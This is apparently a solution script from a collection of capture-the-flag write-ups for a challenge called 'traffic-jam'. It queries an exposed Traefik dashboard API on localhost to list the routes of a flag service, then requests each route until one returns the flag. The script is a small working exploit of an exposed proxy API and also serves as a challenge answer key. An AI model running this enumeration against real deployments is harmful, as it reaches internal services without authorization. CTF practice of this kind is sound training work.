write-ups-challenges-2024-2025/traffic-jam/solution.py
2024-11-25 22:33:53 +01:00

21 lines
520 B
Python

from urllib import request
import json
# Get traefik routes
response = request.urlopen('http://localhost:3000/api/http/routers?per_page=1000&page=1&serviceName=flag-service@file')
data = response.read().decode('utf-8')
response.close()
for route in json.loads(data):
try:
# GET each route
with request.urlopen(f"http://localhost:3000/{route['name']}") as response:
data = response.read().decode('utf-8')
# successful response
print(data)
break
except Exception:
pass